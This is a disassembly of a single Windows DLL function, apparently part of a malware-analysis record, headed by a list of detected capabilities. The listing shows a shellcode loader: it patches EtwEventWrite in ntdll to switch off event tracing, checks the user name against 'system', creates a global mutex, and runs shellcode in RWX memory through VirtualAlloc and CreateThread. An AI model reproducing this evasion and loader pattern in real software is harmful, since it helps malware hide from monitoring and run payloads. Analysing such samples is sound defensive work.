Function at 0x180001904
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Get session user name
Patch event tracing for windows function
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, 0x16
lea rcx, [0x1800169c0]
mov edx, ebx
mov qword [0x180017d68], rax
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rbx + 9]
mov qword [rcx], rax
lea rcx, [0x180016a80]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rbx + 2]
mov qword [rcx + 8], rax
lea rcx, [0x1800169a0]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edi, [rbx - 2]
mov edx, edi
mov qword [rcx + 0x10], rax
lea rcx, [0x180016a60]
call fcn.180001458
mov rcx, qword [0x180017d68]
mov edx, ebx
mov qword [rcx + 0x18], rax
lea rcx, [0x180016a20]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rbx + 3]
mov qword [rcx + 0x20], rax
lea rcx, [0x180016950]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea ebx, [rdi + 7]
mov edx, ebx
mov qword [rcx + 0x28], rax
lea rcx, [0x180016970]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rdi - 6]
mov qword [rcx + 0x30], rax
lea rcx, [0x180016990]
call fcn.180001458
mov rcx, qword [0x180017d68]
mov edx, ebx
mov qword [rcx + 0x38], rax
lea rcx, [0x180016a40]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rdi + 8]
mov qword [rcx + 0x40], rax
lea rcx, [0x180016910]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rdi + 6]
mov qword [rcx + 0x48], rax
lea rcx, [0x180016930]
call fcn.180001458
mov rcx, qword [0x180017d68]
mov edx, edi
mov qword [rcx + 0x50], rax
lea rcx, [0x1800169e0]
call fcn.180001458
mov rcx, qword [0x180017d68]
lea edx, [rdi + 4]
mov qword [rcx + 0x58], rax
lea rcx, [0x180016a00]
call fcn.180001458
mov rcx, qword [0x180017d68]
mov qword [rcx + 0x60], rax
call fcn.180001508
test eax, eax
je 0x180001c96
mov rax, qword [0x180017d70]
cmp dword [rax + 0x10], 0
je 0x180001b2e
lea rcx, str.ntdll
mov dword [rsp + 0x38], 0xc3c03148
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EtwEventWrite
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180001b2e
and dword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
mov edi, 4
mov rcx, rax
mov edx, edi
lea r8d, [rdi + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.180003260
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x180017d70]
cmp dword [rax + 4], 0
je 0x180001b7b
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x101
call fcn.1800036b0
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x100
lea rcx, [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.system
lea rcx, [rbp - 0x70]
call fcn.1800042b4
test eax, eax
jne 0x180001c96
mov rax, qword [0x180017d70]
cmp dword [rax + 8], 0
je 0x180001c12
xor eax, eax
mov dword [rsp + 0x48], 0x18
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea ebx, [rax + 1]
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
lea rcx, [rsp + 0x60]
xor r8d, r8d
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea rax, [rsp + 0x60]
mov edx, ebx
lea r8, str.GlobalkREwdFrOlvASgP4zWZyV89m6T2K0bIno
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x180017d80], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180001cd6
cmp eax, 5
je 0x180001cd6
mov rcx, qword [0x180017d80]
test rcx, rcx
je 0x180001cb0
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x30]
and dword [rsp + 0x30], 0
lea rcx, [rsp + 0x38]
call fcn.180001cf4
test eax, eax
je 0x180001c96
mov edi, dword [rsp + 0x30]
mov r9d, 0x40
mov edx, edi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180001c84
mov rdx, qword [rsp + 0x38]
mov r8d, edi
mov rcx, rax
call fcn.180003260
and qword [rsp + 0x28], 0
xor r9d, r9d
and dword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x180017d88], rax
mov rax, qword [0x180017d70]
cmp dword [rax + 0xc], 0
je 0x180001c96
call fcn.180002000
mov rcx, qword [0x180017d80]
test rcx, rcx
je 0x180001cb0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [0x180017d80], 0
xor eax, eax
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.180002360
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov rcx, qword [0x180017d80]
test rcx, rcx
je 0x180001cb0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
mov qword [0x180017d80], rcx
jmp 0x180001c9d